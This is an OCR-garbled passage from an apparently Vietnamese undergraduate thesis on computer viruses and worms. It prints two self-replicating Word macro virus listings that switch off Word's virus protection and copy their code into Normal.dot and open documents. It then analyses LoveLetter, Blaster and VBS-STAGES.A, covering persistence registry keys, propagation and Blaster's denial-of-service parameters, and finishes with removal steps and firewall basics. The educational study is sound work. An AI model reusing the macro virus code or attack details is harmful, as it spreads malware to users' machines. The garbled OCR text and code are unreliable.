tai liéu (document). Tép dugc dung nhu 13 moi trudng dé iy lan ¢ day 1a tép
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NORMAL.DOT. Tép nay duoc chon lam cong cu truyén virus & vi hau hét cac
Document déu sir dung nhimg thong tin chung vé dinh dang tir tép nay.
Nguyén 1y hoat dong ¢ ddy cling rat don gian. Gia si mot tép X dang

duoc kich hoat da nhiém virus. C6 hai kha ning xay ra

e T¢p X la t¢p NORMAL.DOT, Winword khi lam viéc véi mot tép
khac, s& dé d6i twong lay lan sang tai liéu dang dugc st dung (Active
Document).

e X la mot t&p Document, d6i tuong lay nhiém s& 1a NORMAL.DOT.

1. Truong hop 1 : X 1a tép Normal.Dot, khi nay macro dau tién duoc
Kich hoat s€ phai la Macro Open, do phai m¢é Document (New or Old) cong
viéc phai lam 1a thi hanh doan chuong trinh kém vé1 Auto Macro Open. Luu y
rang doan chuong trinh virus gan vao trong Normal.dot 14 kém véi macro Open

2. Truong hop 2: X 1a t€p Active Document, l0C nay macro dugc
kich hoat nén la Macro Close, vi Document da dugc m¢ trude do. Cong viéc
phai lam la thi hanh doan chuong trinh kém v61 Auto Macro Close.

Active Macro Close

Control MACRO := False
Option.ConfirmConversions := False
Option.VirusProtection := False
Option.SaveNormalPrompt :=False
AD := ActiveDocument.VVBProject.VBComponents.ltem(1)
NT := NormalTemplate.VVBProject.VBComponents.ltem(1)
If AD 1sn’t Infected Then F := AD, F1 := NT
If NT isn’t Infected Then F :=NT, F1 :=AD
If NT is Infected and AD is Infected Then

a) Delete all lines in F.CodeModule

© © N o g b~ w0 Ddp e

b) Put the virus’s sign into F

c) F’sInfection := TRUE

a) YouareinF1now !

b) Delete all First Empty Lines in F1’s CodeModule
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c) Insert String "Private Sub Document_Close()" into 1st Line in F
d) Copy from 2nd to CountOfLine from F1 to F
Else

If now you are in AD then Insert String "Hi, How are you ? ".

Phuong an 1, 1ay vao Normal.dot va Active Document v41 macro CLOSE.

Private Sub Document_Close()
On Error Resume Next
CommandBars ("Tools").Controls("Macro").Enabled = True ‘False
Options.ComfirmConversions = False
Option.VirusProtection = False
Option.SaveNormalPrompt = False
Set AD = ActiveDocument.VBProject.VBComponents.ltem(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
dt=2
Doln = False
If AD.Name <> "Daisy" Then
SetF=NT
SetF1=AD
Doln = True
End if
If Doln = False Then Go To Destroy
Sd = F.CodeModule.CountOfLines
If Sd >0 Then F.CodeModule.DeleteLines 1, Sd
F.Name = "Daisy"
If Doln = True Then

SetF=NT

SetF1=AD

Doln = True
End If

If Doln = False Then Go To Destroy
Sd = F.CodeModule.CountLines
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If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
F.Name = "Daisy"
If Doln = True Then
Do While F1.CodeModule.Lines(1,1)=""
F1.CodeModule.DeleteLines 1
Loop
F.CodeModule.AddFromString ("Private Sub Ducoment_Close()")
Do While F1.CodeModule.Lines(dt,1) <> ""
F.CodeModule.InsertLines dt, F1.CodeModule.Lines(dt, 1)
dt=dt+1
Loop
End if
Destroy
Selection.TypeText "Hi, | am here ! "
End Sub

Phuong an 2, 1ay vao Normal.dot véi macro OPEN va Active Document véi
macro CLOSE.
Private Sub Document_Close()
On Error Resume Next
CommandBars ("Tools").Controls ("Macro").Enabled = True ‘False
Options.ConfirmCoversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Set AD = ActiveDocument.VBProject.VBComponents.ltem(1)
Set NT = NormalTemplate.VVBProject.VBComponents.ltem(1)
dt=2
DolInN = False
DolnD = False
If AD.Name <> "Daisy" Then
SetF=AD
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SetF1 =NT
DoInD = True
End If
If NT.Name <> "Daisy" Then
Set F=NT
SetF1=AD
DoInN = True
End If

If DoInN = False And DolnD = False Then Go To Destroy
Sd = F. CodeModule.CountOfLines
If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
F.Name = "Daisy"
If DoInD = True Or DolInN = True Then
Do While F1.CodeModule.Lines(1,1)=""
F1.CodeModule.DeleteLines 1
Loop
If DoInD Then
F.CodeModule.AddFromString(*'Private Sub Document_Close()")
Else
F.CodeModule.AddFromString (“Pivate Sub Document_Open()")
End if
Do While F1.CodeModule.Lines(dt,1) <> ""
F.CodeModule.InsertLines dt, F1.CodeModule.Lines(dt,1)
dt=dt+1
Loop
End If
Destroy :
Selection.TypeText Date & "Hi, | am here ! "
End Sub
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2.3. Phan tich cach thirc hoat dong ciia mot s6 sau
2.3.1.Loveletter

VBA.LoveLetter va cadc dang khac cua loai virus nay.

Loai virus ndy co6 khoang 82 bién thé. Dang cudi cung d6 Ia
VBS.Loveletter.CN

Qua trinh :

Trung tAm an ninh mang Symantec ¢ uy tin trén toan cau bat dau nhan
duoc yéu cau tir phia ngudi dung vé loai worm nay vao mot budi sang ngay 4
thang 5 nam 2000. Loai worm nay bat ngudn tir Manila, Philippines. N6 c6 strc
lan truyén rat rong, va lay nhiém hang triéu mdy.

Loai sau nay d6 1a ty dong gui dén dia chi email trong hop dia chi cta
Microsoft Outlook va cting lay lan sang phong chat dung MIRC. Loai worm
nay viét dé 1én file tir cac trinh diéu khién tir xa, bao gém céc loai file ¢ phan
mé rong . .vbs, .vbe, .js, .jse, .css, .wsh, .sct, .hta, .jpg, .jpeg, .wav, .txt, .gif,
.doc, .htm, .html, .xls, .ini, .bat, .com, .avi, .qt, .mpg, .mpeg, .cpp, .c, .h, .swd,
.psd, .wri, .mp3, and .mp2.

Hau hét cac file dugc thay d6i bang mi ngudn ctia worm, né thém dudi
md rong .vbs vao mdi file. Vi dy, image.jpg trd thanh image.jpg.vbs. Vi nhiing
file ¢ phan md rong 1a .mp2 .mp3 thi khong bi pha huy.

Mit khac VBS.Loveletter cling download mot chu ngua Trojan tor mdt
website.

Céach thire hoat dong cua loai sau nay : (threat assessment)

Wild

S6 lugng may nhiém : 0 — 49
S6 luogng site nhiém : 3 -9
Phéan bd dia Iy : cao
Murc do thiét hai (de doa) : binh thuong
Kha nang g& bd : binh thuong
Thiét hai (damage) :
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Payload trigger : tin cong qua thu dién tu.
Payload : ghi d¢ Ién file.

Pham vi thu dién t : Ty n6 gui dén tat ca cac dia chi c6 trong hdp dia chi
Outlook.

Thay ddi cua file : Ghi d¢ vao file c6 phin mé rong sau : .vbs, .vbe, .js,
Jse, .css, .wsh, .sct, .hta, .jpg, .jpeg, .wav, .txt, .gif, .doc, .html, .xls, .ini, .bat,
.com, .mp3, .and, .mp

Chung c6 thé bi phat hién bai nhitg phan mém antivirus.

Degrades performance : Lam giam thiéu kha ning ctia email server

Su phat tan (distribution)

Chu d& ctia email (subject of mail) : ILOVEYOU

Tén cua phan dinh kém (name of attachment) : Love — letter — for-
you.txt.vbs

Kich thudce dinh kém : 10,307 bytes

Hudng chia sé (shared drives) : Viét dé 1én file di dugc xac dinh trén
mang

Kiéu lay nhiém : Viét 1én file ¢ phén mé rong la: .vbs, .vbe, .js, .jse,
.Css, .wsh, .sct, .hta, .jpg, .jpeg, .wav, .txt, .gif, .doc, .htm, .html, xls, .ini, .bat,
.com, mp3, and .mp2.

Chi tiét k¥ thuat :

Khi hoat dong, worm tu nd sao chép tdi thu muc \Windows\System ca
mskernel32.vbs va LOVE-LETTER-FOR-YOU.TXT.vbs va t4i thu muc
\Windows file Win32dll.vbs né kiém tra sy ¢6 mit cua Winfat32.exe trong thu
muc \Windows\System

Néu file nay khong ton tai, worm s& dit trinh IE khoi dong trang web
v6i win-bugsfix.exe.Site nay sé bi bat.

Néu file nay tdn tai, worm sé& tao khoa sau :

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-
BUGSFIX
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Va thi hanh trong subt qué trinh khéi dong hé théng. Khi trinh duyét
khoi dong thi no s& thay thé bang mot trang rdng

V&i mdi mét 6 dia, gém ca 6 dia mang, virus s& tim cach lay nhiém vao
file c6 phan mé rong 1a .vbs va .vbe. Worm ciing tim kiém céc file c6 phan mo
rong .Js, .jse, .css, .wsh, .sct, .hta, .jpg, .jpeg, .wav, .txt, .gif, .doc, .html, .xls,
.ini, .bat, .com, .mp3, .and, .mp2. Khi céc loai file ndy da dugc tim thiy Worm
s€ lam viéc nhu sau :

e Ghi dé lén tat ca cac file c6 phan mo rong (.js, .jse ...) v6i phan ma da
co virus. Sau d6 n6 tao mot van ban sao cua file va thém phﬁn mo rong .vbs vao
tén file. Vi du, néu tén file 1a House pics.jpg, thi file dd dugc ghi dé co tén la
House pics.jpg.vbs. Sau d6 file gdc s& bi x6a. Nhitng file ndy phai bi x6a roi
sau do luu lai tir ban sao duy phong.

e Tao ban sao cho tit ca cac file c6 phin md rong .mp3 va .mp2. Sau d6
ghi d¢ 1én v6i doan ma da nhiém virus va thém phan mé rong .vbs vao tén file.
Tiép theo thay ddi thudc tinh cua file gdc .mp3 va .mp2 van khong bi thay doi
trén 0 cung. Cac file da thay doi sé& bi xoa.

e Khuyén céo : Khong nén cb ging thuc thi cac file ma da bi ghi de
hodc da bi thay ddi tén bai worm. Néu 1am nhu vay worm s€ hoat dong lai

Worm ciing phat tan bang con duong khac bang cach tao ra file Script.ini
trong thu muc chtra chuong trinh MIRC. File script nay gui file LOVE-
LETTER-FOR-YOU.HTM cho cac nguoi dung khac trong cung chatroom
(phong chat)

Worm diing cach goi cac ham MAPI dén chuong trinh Microsoft Outlook
va tao cac thong diép thong qua tit ca dia chi co trong hop thu ciia Outlook.
Worm dung Windows registry dé gitr mot phan cua so dia chi nao ma duoc giri

thong diép, do vay mdi dia chi chi duoc giri c6 mot lan.
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= ILOVEYOU - Meszage [Rich Text) H=] E3 ||
JEiIe Edit Wiew Insert Format Tools Actions Help
JTimesNewRDman - |10 = £| B 7 U HEE% = I iE iE
|=end @& 0 @ R0 @ ! 4| Eopos. B,

Fram... ||Smith John

T ||5mithj John

ce.. ||

Subject: IILO'-;'EH’DLI

E | =l
LOVE-LETTER-FOR-Y

kindly check the attached LOVELETTER coming from me| OU.T=T . vbs

Chu dé cua thong diép 14 :
ILOVEYOU
Than cua thong diép la: kindly check the attached LOVELETTER
coming from me.
File dinh kém vao thong diép 1a LOVE-LETTER-FOR-YOU.TXT.vbs
Cudi cung virus giri mot file LOVE-LETTER-FOR-YOU.HTM dén thu
muc \Windows\System
Bang tom tat cac dau vao registry da bi thay doi :
Cac khoa registry c6 thé bi thém vao :
HKEY_ LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\MSKernel32
HKEY_ LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices\Win32DLL
HKEY_ LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\ESKernel32
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices\ES32DLL
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\WINFAT32

Tran Thi Thity Lép CT901 45



Khoa luan tot nghiép

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\WIN-BUGFIX
Mbt hodc mot sb chuong trinh bi thém khoa nhu :
HKEY _USERS\<username>\Software\Microsoft\
Windows\CurrentVersion\Run
Cac khoa registry sau c6 thé bi x6a :
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\Network\HideSharePwds
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\Network\DisablePwdCaching
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\Network\HideSharePwds
HKLM\Software\Microsoft\Windows\
CurrentVersion\Policies\Network\DisablePwdCaching
Thém vao d6 hang trim céac gié tri registry DWORD c6 tiém ning dugc
tao ra trong HKEY USERS\<username>\SOFTWARE\Microsoft\WAB
Trén co s& cd bao nhiéu thong diép thu dién tor dugce guri ra ngoai. Nhitng
khoéa nay s& duoc phan biét cho moi may
Cac phién ban khac cia LOVELETTER
Trung tdm an ninh mang da phat hién ra té1 82 phién ban cua virus
loveletter
e VBS.LovelLetter. A
o Tén phat hién : VBS.LoveLetter.A(1)
o Chudé: ILOVEYOU
o Than thong diép : kindly check the attached LOVELETTER
o File dinh kém : LOVE-LETTER-FOR-YOU.TXT.vbs
e VBS.LovelLetter.B (Lithuania)
o Tén phat hién : VBS.LoveLetter.B(1) hoac
VBS.LoveLetter.B(HTM)
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o Chu dé thong diép : Susitikim shi vakara kavos puodukui.. .
o Than : giéng loai 1
o File dinh kém : gidng loai 1

Va con rat nhiéu, da s 1a gidng nhau va déu dua trén mot sd ki thuat
chung do6 la vira hoat dong nhu mdt sau thuc thu nhung cling dung ca k¥ thuat
dung virus dinh kém file

Mic du nhu vay sau loveletter van can su tac dong clia con ngudi 1a phai
mo thu va té€p dinh kém dé kich hoat su lay lan.

Cac bién phap dé ngin chin virus LoveLetter.

1. Ban khong nén mo e-mail c6 cai twa dé (subject) qua di la
"ILOVEYOU", bat luan do ai giri t6i. B6i vi sau khi xAm nhap vao may vi tinh
cua mot nguoi ban, tham chi nguoi yéu d4u cta ban, con virus nay sé léy dia
chi e-mail trong s6 dia chi ciia ngudi d6 ma giri...né cho ban. Néu di 15 nhén e-
mail c6 tiéu dé nhu vay, hiy lap tic delete nd ra khoi hé thong. Nhé xba ca
trong thu muc luu céac thu vira delete (trong Outlook Express la folder Deleted
Items).

2. Néu da nhan e-mail "ILOVEYOU" 1di, ban hay delete n6 ngay va lién
lac v6i ngudi gii dé bao tin cho nguoi Ay biét may nguoi ay da bi con bo Love
1am hai r6i.

3. Download cac chuong trinh phat hién va diét virus Loveletter. Hay
ludn update phan mém antivirus ctia ban v&i phién ban méi nhat. Mot nguyén
tac sdng con 1a khong bao gid md mot file attachment dinh kém e-mail trude
khi quét virus no. Cling khong bao gio mé mot file dinh kém nhan tr mét dia
chi la.

4. Néu ban khong c6 nhu ciu st dung Visual Basic scripting trong cong
viéc hang ngay, xin hay tat chirc ning nay di. Boi virus LoveLetter dugc viét
bang ngdn ngit Visual Basic. Dé tit chirc ning nay, ban 1am nhu sau :

« Vao Control Panel va click Ién item Add/Remove Programs
« Mo tab Windows Setup
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« Click double 1én muc Accessories dé mé chi tiét.

o B0 dau kiém trude item Windows Scripting Host
Add/Remove Programs Properties i B3
Install/Uninztall  Windows Setup | Startup Diskl

To add or remove a component, zelect or clear the check bos. [f
the check box iz shaded, only part of the component will be
inztalled. To zee what's included in a component, click Details.

Components:

M .ﬁ.ccesmblllt_l,l 0.4 ME ;|

103 ME

. Accessurles |

|:| To add a comparnent, select the check box, or click ta clear it if o
! don't want the component. & shaded box means that only part of
the component will be inztalled. To see what's included in a

R component, click Details.

Spart

Spar Eu:ump_u:unents:
De |1 % Paint 00ME .
Ihe 0 Quick Yiew 47 MB
co ] Bl Screen Savers 0.0 ME

ywindows 5 E:riptiﬂg Huost 1.1 MB

Be | ¥ wordPad AEME

« Click OK.
Néu may da bi nhiém virus LoveL etter :

Tét nhat 1a dung mot phan mém antivirus da duoc cap nhat kha nang tri
LoveLetter dé quét va diét n6 khéi may vi tinh. Ngoai ra, ban co thé delete mot
cach triét dé (ca trong folder Delete Items) e-mail chira virus, roi sau d6 xéa
kho1 may minh céc file sau day :

o MSKernel32.vbs trong thu muc WINDOWS\SYSTEM

o Win32DLL.vbs trong thu muc WINDOWS

o« LOVE-LETTER-FOR-YOU. TXT.vbs trong thu muc
WINDOWS\SYSTEM

o WinFAT32.EXE trong thu muc Internet download

« script.ini trong thu muc MIRC

Nh¢ x6a ca trong thung ric Recycle Bin 1dn thu muc bao vé file cua
NULL (néu c6 st dung chirc ning nay)

Str dung cac cong cu phan mém AntiVirus.
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2.3.2. Phan tich sau Blaster
Thong tin 14y tir trang Symatec
W32 Blaster. Worm la mot loai siu khai thac 16i DCOM RPC (duoc
Microsoft mé ta trong Security Bulletin MS03-026) ding cong TCP port 135.
Cac muc ti€u cua sau nay la windows 2000 va windows XP.
Loai sdu nay cd ging download file msblastexe dén thu muc
%WIinDir%\system32 sau do chay no
Mt s6 thong tin
e S6 luong may nhiém : hon 1000
e S site nhiém : hon 10
e Sy phan b vé mit dia 1y : cao
e Déu hiéu de doa : binh thuong
Sw thiét hai
e Payload trigger : néu ngay 1a ngay thir 16 cua thiang cho dén
cubi thang trude thang 8, va nhiing ngay thir 16 cho dén 31 thang 12.
e Payload : thyc hién tin cong tir chdi dich vu.
Phin bo
e (Cong: TCP135, TCP4444, UDP69.
e Muc tiéu lay nhiém : May bi 16 DCOM RPC.
Chi tiét vé& mit ki thuat
W32 hoat dong nhu sau :
1. Kiém tra xem mdy tinh da bi nhiém chwa. Néu da nhiém thi né s&
khong 13y vao mdy lan thu hai.
2. Thém gia tri :
"windows auto update " ="msblast.exe"
Vao khoa registry :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run
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Muc dich 1a khi may khéi dong lai, worm s€ tu chay.
3. Sinh dia chi IP va c6 ging tim cach lay nhiém vao may co dia chi do.
Pia chi IP duoc sinh ra theo thuat toan :

e 40% thoi gian, sinh IP ¢ dang A.B.C.0, véi diéu kién A va B brlfmg nhau
d6i voi hai phan dau cia dia chi bi nhidm. C cling dugc tinh toan. Tuy nhién voéi
40% thoi gian worm kiém tra C ¢ 16n hon 20 hay khong. Néu vdy, mot gia tri
ngau nhién nho hon 20 duoc trir di tir C. V6i mot dia chi IP duoc tinh toén,
worm s¢ tim va khai thac véi dia chi A.B.C.0

e Worm sé& tang IP 1én mot, cb gang tim va khai thic cic may tinh khac
trén c& s¢ dia chi IP méi, dén 254.

e Vi 60% con lai 1a dia chi ngau nhién

4. Gui dir liéu trén cong TCP 135 ¢6 thé khai thac 16 hong DCOM RPC.
NO giri mdt hodc hai loai dir liéu : Hoac khai thac Windows XP hoac Windows
2000

e V61 80% thoi gian, Windows XP dit li¢u dugc giri, con lai 20% cho win
2000

e Chuy:

o Mang con s& bio hoa véi nhu cau tir cong 135

o Trong khi W32.Blaster. Worm khong thé phét tan trén Windows NT
hoic Windows Server 2003, nhitng hé diéu hanh ndy cé thé pha duogc. Tuy
nhién, néu worm dugc diéu khién tai chd va chay mdy tinh c6 hé diéu hanh nay,
no van c6 thé chay va phat tan.

e Nho vao su ngiu nhién 1a cach dé worm khai thac dit lidu, cai ndy c6 thé
1a nguyén nhan may cha RPC dé pha hiy néu may tinh nhéan dit liéu 15i

e Néu may chit RPC bj pha v&, thi nhimg chuong trinh mic dinh dudi nén

XP va 2003 server khoi dong lai.
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5. Dung chuong trinh cmd.exe dé tao tién trinh an tir xa tién trinh nay sé
nghe trén cong TCP 4444 cho phép ké tdn cong phét ra nhitng cau lénh tir xa
trén hé thong bi nhiém.

6. Nghe trén cong UDP 69. Khi worm nhan mot yéu cau tir may tinh nd
s& két nbi va sir dung 161 DCOM RPC, giri msblast.exe va khai dong qua trinh
hoat dong.

7. Néu ngay hién thoi 13 ngay tht 16 dén cudi thang tir thang 1 dén thang
8, hodc thang hi¢n thoi 1a 10 dén 12, worm sé& tim cach thuc hién kiéu tan cong
tir chéi dich vu trén hé thong windows update. Tuy nhién, dé tin cong kiéu
DOS thi nhiing diéu kién sau phai ding :

e Worm chay trén may dung Windows XP va ciing bi nhiém hodc khoi

dong lai trong sudt qua trinh tdn cong.

e Worm chay trén Windows 2000 bi nhiém trong sudt qua trinh va

khong bi khoi dong lai tir khi né bi nhiém.

e Worm chay trén Windows 2000 khoi dong lai khi né bi nhiém, trong

sudt qua trinh payload, va dang nhap quyén quan tri

8.Qua trinh tan cong DOS theo céc tinh chit sau :

e Mot yéu cidu ngdp lut trén cong 80 cua chuwong trinh

Windowsupdate.com

e Giri cac goi dit liéu trén cong 50 HTTP mdi gidy

e MOdi gbi co do dai 1a 40 bytes

e Néu worm khong thé tim thdy diu vao DNS cho chuong trinh

Windowsupdate.com, thi dung dia chi dich 255.255.255.255
Mot s6 thude tinh duge bd tri ctia headers TCP va IP 13
¢ Dinh danh IP Ia 256.
e Thoi gian ton tai 13 128
e Dia chi ngudn 1 a.b.x.y diéu kién a.b lay tir IP ciia may tram va

x.y la ngau nhién. Trong mot so truong hop a, b 1a ngiu nhién.
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o Dia chi dich 1a dns cia Windowsupdate.com
o Cbdng ngudén TCP niam giita 1000 dén 1999
o Cong dich 80 TCP
o SO TCP tuan ty ludn co 2 byte thap dit 13 0,2 byte cao 1a ngau
nhién.
o Do dai TCP =16384
Worm chira doan text sau, nhung n6 khong bao gio hién thi.
" | just want to say LOVE YOU SAN !! billy gates why do
you make this possible ? Stop making money and fix your software !"
2.2.3. VBS-STAGES.A
e Bidanh : VBS-STAGES.A
e Ngay pha hoai : Bat cir ngdy nao
e Tac hai : X6a cac file (ké ca REGEDIT)
e Ty dong lay lan qua Outlook, Pirch va mIRC.
e Kich thudc virus : 39,936 bytes
Mo ta :

VBS-STAGES.A [a mét loai Internet Worm, lay nhiém dic biét béng
cach loi dung cac chuong trinh c6 san nhu Microsoft Outlook, Pirch, mIRC va
tham chi 1a ca cac 6 ctimg dugc anh xa (map) trén may. Gidng nhu cac con sau
dung ngdn ngit VB khac, STAGES.A c6 thé an n4u trong mot mau file dinh
kém trong e-mail (tén tép 1a LIFE STAGES.TXT.SHS). File nay c6 thé lam
cho ngudi nhan e mail d& dang tin rang ddy chi 1a mdt van ban (text) binh
thuong, vi phﬁn mo rong cua file khong hién ra ma hién biéu tuong cua mot
file.txt. Khi file nay dugc kich hoat, n6 sé goi Notepad md mot doan text khoi
hai vé cac giai doan trong cudc doi ciia mot nguoi dan 6ng va mot ngudi dan
ba.

Chi tiét :
Khi file giri dinh kém (LIFE_ STAGES.TXT.SHS) dugc mé, nguoi dung

s€ b1 danh ltra bo1 mot doan van ban. Cung lic do, con sau nay thyc hi¢n céc
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hanh vi pha hoai bang cach chén cac thong tin cia né vao Windows Registry dé
Windows kich hoat né méi khi khéi dong.

HKEY_LOCAL_MACHINE\Software\Microsoft\

Windows\CurrentVersion\RunServices\ScanReg=

"C:\WINDOWS\WSCRIPT.EXE

CAWINDOWS\SYSTEM\SCANREG.VBS "

Con séu nay con ghi file C:\WINDOWS\SYSTEM\SCANREG.VBS c0
chtra ma ngudn cia n6 dudi dang file .VBS

N6 con tao ra cac khoa sau dé tu kich hoat mdi khi ICQ khoi dong :
HKEY_ USERS\DEFAUL\Software\Mirabilis\CQ\Agent\Apps\ICQ|Parameter
S="C:\RECYCLED\DBINEX.VBS"
HKEY _USERS\DEFAUL\Software\Mirabilis\ICQ\Agent\Apps\ICQ\Path=
"C:\WINDOWS \WSCRIPT.EXE"
HKEY_USERS\DEFAUL\Software\Mirabilis\ICQ\Agent|Apps\ICQ\Starup=
"C:\WINDOWS ",

pé lay lan qua cac kénh hoi thoai truc tuyén, ndé tao ra file
SOUND32B.DLL, moét file phu MIRC.INI dugc goi, va chira cac doan ma dé
gui file LIFE STAGES.TXT.SHS khi két nbi dén méy chu hoi thoai truc tuyén.
Cac file ndy c6 thé duoc chuong trinh quét virus cta Trend phat hién dudi cai
tén IRC_STAGES.A

Sau d6, con sdu s& giri mot e-mail t&i cac dja chi c6 trong sb dia chi cua
may di bi nhiém

Con sau con xoa ca file REGEDIT.EXE va chuyén né vao trong Recycle
Bin v6i cai tén RECYLED.VXD. File nay duogc kich hoat khi nguoi dung mé
cac file REGEDIT. Bé lam duoc diéu nay, virus da thay do6i cac thong tin sau
trong Windows Registry :
HKEY_ LOCAL_MACHINE\Software\CLASSES\regfile\Defaultlcon

Value "@" :

Tu "C:\RECYCLED\RECYCLED.VXD,1"
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HKEY_LOCAL_MACHINE\Software\CLASSES\regfile\shell\open\command
Value "@" :
Tu " regedit.exe" "%1"
VBS STAGES.A con tao ra cic file vdi cac tén ngau nhién trong hé

thdng va trén tit ca cac 6 cung. Vi du c:\window\machne name.acl v.v...
Quy tac thanh 1ap cac tén file ngiu nhién cta virus 13
(Ramdoml1+Ramdom2+Ramdom3)+TXT+SHS. Trong d6

— Randoml [a moét trong cac tr sau: IMPORTANT, INFO, REPORT,

SECRET, UNKNOWN.

nn

— Random?2 la moét trong 2 ky tu "-" hodc "
— Random3 1a mot s6 bat ky tir 0 dén 999.

Giai phap loai trirt STAGES.A

Mo REGEDIT :

1. Bam vao cac didu """ & bén canh cic muc
HKEY_LOCAL_MACHINE : Software, Microsoft, Windows, CurrentVersion,
RunServices.

2. Trong cira so phia phai, tim cac khéa c6 gia tri sau :

"C:\WINDOWS\WSCRIPT.EXE

C:\WINDOWS\SYSTEM\SCAN-REG.VBS"

3. Nhan chudt phai vao cac khoa niay va chon Delete dé x6a chiing.

4. Lap lai cac buoc 1, 2, 3 véi cac muc sau :

HKEY_ USERS\DEFAULT\Software\Mirabilis\lCQ\Agent\Apps/ICQ

Tim khoa c6 gia tri :

Parameters="C\RECYCLED\DBINDEX.VBS"

Path = "C:\WINDOWS\WSCRIPT.EXE" va Startup =" C:A\WINDOWS"

5. Lip lai cac budc 2 va 3 dbi voi :

HKEY_LOCAL_MACHINE\Software\CLASSES\regedit\Defaultlcon

Khoa c6 gia tri " C:\RECYCLED\RECYCLED.VXD,1"

6. Nhap dup chudt vao khoa vira tim dugc dé gd vao gia tri méi

Tran Thi Thity Lép CT901 54



Khoa luan tot nghiép

"C:\WINDOWS\REGEDIT .exe,1"
7. Lap lai cac budc 6 va 7 ddi voi
HKEY_ USERS\DEFAULT\Software\CLASSES\regfile\sgell\open\command
8. Thoat khoi Registry Editor.
9. Khéi dong lai may.
10. Quét virus bang cac chuong trinh quét virus va xoa céc file bi nhiém

11. Sao chép file regedit.exe tr mot may tinh sach
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CHUONG 3 : CACH PHONG CHONG

Dé phong ngtra sy lay lan, pha hoai ctia siu may tinh noi riéng va virus
may tinh n6i chung, hién c6 rat nhiéu phuong phap. O day em xin trinh bay mot
s6 cach phong chéng : dung firewall, cac thu thuit, cic phdn mém antivirus
(chdng virus), mot sd ¥ twdong nham phat hién, g& bo sau, virus khoi hé thong.
3.1.Bwrc twong Iira(Firewall)

Ung dung btic tudng lira 1a cach ma nguoi ta thuong dung dé bao vé cho
hé thong tin ctia minh khoi nhitng xAm nhap bat hop phap tir phia ngoai mang
cling nhu phia trong mang. Hiéu don gian thi n6 giéng nhu tram kiém soat san
cho no.

3.1.1. Khdi niém vé Firewall

Mot hé thong firewall 1a mot tap hop nhiéu thanh phan (bao gdm ca phan
cung va phﬁn mém) dugc sir dung dé tao thanh mot rao chin gifta mot mang
can duoc bao vé va nhimg mang khac. Hé théng firewall s& gitr lai cac goi dix
lidu di vao va di ra khoi mang nay, phan tich chung, roi quyét dinh cho chung di
qua hodc huy bo ching duva trén mot chinh sach bao vé da dugc thiét lap tu
trudc. Noi cach khac, mot hé théng firewall 1a mét co ché dé bao vé mot mang
dung riéng khi mang nay duoc két ndi voi cac mang khac nhau khong tin tudng.

B'fmg viéc kiém soat tit ca cac g061 tin di qua, firewall co thé thuc hién cac
chirc nang co ban sau :

+ Kiém soat quyén truy nhap :

Firewall chi cho phép nhiing nguoi ding hop 18 c6 quyén truy cip dén tai
nguyén cua mang, xac dinh ai 1a nguoi dung dugc phép, tai nguyén nao ho duoc
phép truy nhép va dugc phép truy nhap va dugc phép truy nhap nhu thé nao.

Pé thyc hién diéu khién quyén truy nhap, firewall phai hiéu duoc tat ca
cac dich vu va céac ung dung dang hoat dong trén mang. Hi¢n nay, chi c6 nhiing
firewall nao co thanh phén kiém tra toan bd trang thai méi co thé duogc diéu

nay. Nhiing thé hé firewall loc goi tin dau tién khong thé nhan biét dugc ng
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dung nén khong thuc hién dugc diéu khién quyén truy nhdp. Loai thé hé
firewall thir hai 1 cic Proxy ung dung thi khong thé cung cip sy hd tro kip thoi
khi ¢6 cac dich vu méi.

+ Theo doi truy nhép :

Dé ting cudng quan 1y truy nhap, firewall c6 thé theo ddi, hién thi, lap
béo céo va canh béo vé nhitng luu thong mang ma no6 diéu khién. Dua trén tinh
nang nay, ngudi quan tri hé thong firewall c6 thé xem xét tat ca cac két ndi hién
dang kich hoat theo thoi gian thuc va cé thé ngét hodc chin cac két ndi do.

+ Ghi lai nhat ky lam viéc :

Céc firewall c6 thé tinh toan vé cac thong tin truy nhap va thong tin clia moi
két n6i mot cach chi tiét bao gom : Nguoi dung, loai dich vy, thoi gian bat dau két
nbi, dich dén ciia két ndi, qua trinh két néi, cac hanh dong thuc hién khi c6 cac két
ni do, ...Pong thoi 1ap bao cao phén tich chi tiét vé nhitng su kién nay.

+ Canh bdo an ninh :

Céc firewall c6 thé dua ra nhiéu tuy chon dé canh bao nhu : Ding
email dé thong béo, sir dung giao thic SNMP dé giri cac canh bao an ninh t6i
cac hé thdng quan tri mang

+ Ngin chin cac kiéu tin cong thong thuong

+ Mot sb firewall c6 thé chdng duoc cac kiéu tin cong nhu : Ipspoofing
(gia mao dia chi IP)...
3.1.2. Cac loai firewall
3.1.2.1. Firewall loc goi tin (Packet Filtering Firewall)

Firewall loc goéi tin thuc hién kiém tra mdi g6i tin 1P dé xem no co phu
hop v6i mot trong cac quy tac di duoc thiét 1ap trudce, quyét dinh co cho phép
goi tin d6 di qua firewall hay khong. Cac quy tic nay nhan biét lién lac dugc
phép dua vao thong tin chira trong céc tiéu dé 16p mang, 16p giao véan cla goi
tin va hudng dugc ghi trong phan tiéu dé cta goi tin (tir trong mang ra ngoai va

nguoc lai).
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Cac bd loc goi thuong cho phép thao tac (chip nhan hodc tir chdi) viéc
truyén dit liéu dya trén cac diéu khién sau :

e Giao tiép vat Iy ma goi tin dén tir do.

e Dia chi IP ngudn cua goi tin

e Dia chi IP dich cua goi tin

e Kiéu giao thirc tang van chuyén (TCP, UDP, ICMP).

e (Cong ngudn cua tang van chuyén.

e (Cong dich cua ting van chuyén.

Ky thuat loc goi thuong khong hiéu cac giao thirc ciia ting Gmg dung
